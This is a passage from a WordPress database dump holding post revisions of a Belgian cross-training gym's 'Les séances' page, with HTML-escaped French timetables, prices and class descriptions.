séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:34:43', '2013-07-03 16:34:43', '', 11, 'http://www.crosstrainingcenter.be/?p=171', 0, 'revision', '', 0),
(170, 1, '2013-07-03 16:33:46', '2013-07-03 16:33:46', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:33:46', '2013-07-03 16:33:46', '', 11, 'http://www.crosstrainingcenter.be/?p=170', 0, 'revision', '', 0);
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(169, 1, '2013-07-03 16:33:05', '2013-07-03 16:33:05', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:33:05', '2013-07-03 16:33:05', '', 11, 'http://www.crosstrainingcenter.be/?p=169', 0, 'revision', '', 0),
